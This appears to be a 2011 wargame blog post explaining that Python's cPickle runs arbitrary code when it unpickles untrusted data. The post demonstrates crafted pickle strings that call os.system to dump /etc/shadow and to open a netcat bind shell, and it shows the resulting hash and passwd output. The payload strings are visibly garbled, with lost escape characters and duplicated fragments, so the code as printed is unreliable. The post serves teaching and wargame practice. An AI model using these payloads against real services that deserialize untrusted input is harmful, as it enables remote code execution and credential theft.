Python cPickle: Allows For Arbitrary Code Execution

admin

03.17.2011

Python cPickle: Allows For Arbitrary Code Execution

I was passing some time playing one of our new wargames at Smash The Stack called Amateria and came across something I’ve not really looked at before, Python’s cPickle library it allows for some interesting fun when unpickling untrusted data over a socket or any network communication.

Basically cPickle is a library that enables Python to perform object serialization. Pickling and unpickling are the terms used in the Python community to describe serialization and deserialization respectively. If you are unfamiliar with these terms then I suggest taking a look over the following documentation:

PyMOTW: pickle and cPickle
Pickle — Python Object Serialization

Onto the fun stuff… and what better way to start than with a nice little example:

root@bt:~# python
Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> exploit = "cosnsystemn(S'cat /etc/shadow | head -n 5'ntR.'ntR."
>>> cPickle.loads(exploit)
root:$6$m7ndoM3p$JRVXomVQFn/KlkVbjFqCcjlMAD31QlCtoHnoWiE95Fx8Vvwkc8KH81DEePpjycglYiX98usSoESUnml3e6Nlf.:14951:0:99999:7:::
daemon:x:14592:0:99999:7:::
bin:x:14592:0:99999:7:::
sys:x:14592:0:99999:7:::
sync:x:14592:0:99999:7:::
0
>>>

OK, so what happened here? Before I explain, let’s have a look at another example that might help clarify what is going on here:

>>> import pickletools
>>> print pickletools.dis(exploit)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'cat /etc/shadow | head -n 5'
43: t TUPLE (MARK at 11)
44: R REDUCE
45: . STOP
highest protocol among opcodes = 0
None
>>>

As you can see it loads the module os, calls the system function with the command: “cat /etc/shadow | head -n 5”, and that is why the first 5 lines of the shadow file were echoed back to our prompt. So we can construct pickled data and pass that to cPickle.loads it basically executes our commands in the context of the user that python runs as, this is interesting.. I won’t delve too much into this as I don’t want to spoil the wargame level but I just thought it was a handy little trick to have in you’re arsenal 🙂

Let’s take a look at another little example shall we to see the power of this:

root@bt:~# python
Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> import pickletools
>>> exploit = "cosnsystemn(S'/bin/nc -l -p 56758 -c /bin/sh'ntR.'ntR."
>>> pickletools.dis(exploit)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING '/bin/nc -l -p 56758 -c /bin/sh'
46: t TUPLE (MARK at 11)
47: R REDUCE
48: . STOP
highest protocol among opcodes = 0
>>> cPickle.loads(exploit)

Now if we turn to another terminal and type: ‘echo -e “cat /etc/passwd” | nc 0 56758’ we should see something like this:

root@bt:~# echo -e "cat /etc/passwd" | nc 0 56758
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:104:113::/var/run/dbus:/bin/false
avahi:x:105:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:106:116:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:107:117:Hardware abstraction layer,,,:/var/run/hald:/bin/false
mysql:x:108:118:MySQL Server,,,:/var/lib/mysql:/bin/false
miredo:x:109:65534::/var/run/miredo:/bin/false
stunnel4:x:110:119::/var/run/stunnel4:/bin/false
miredo-server:x:111:65534::/var/run/miredo-server:/bin/false
smmta:x:112:120:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:113:121:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
dhcpd:x:114:122::/nonexistent:/bin/false
clamav:x:115:124::/var/lib/clamav:/bin/false
nstxd:x:116:65534::/var/run/nstxd:/bin/false
ntop:x:117:125::/var/lib/ntop:/bin/false
postgres:x:118:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
arpalert:x:119:128::/var/lib/arpalert:/bin/sh
privoxy:x:120:65534::/etc/privoxy:/bin/false
debian-tor:x:121:129::/var/lib/tor:/bin/bash
firebird:x:122:130::/var/lib/firebird:/bin/bash
saned:x:123:131::/home/saned:/bin/false
snmp:x:124:65534::/var/lib/snmp:/bin/false
statd:x:125:65534::/var/lib/nfs:/bin/false
festival:x:126:29::/home/festival:/bin/false

We have a remote shell now on the box 🙂

If you use cPickle on sockets or in any kind of network communication you’re pretty much owned 🙂 For some further reading on the subject check out the following link:

Why Python Pickle Is Insecure

Now take you’re new found knowledge and apply it to the Amateria wargame. If you get stuck or need to discuss any of the levels look at the main website for IRC connection details, the wargames channels are named after the wargames.

Enjoy! 🙂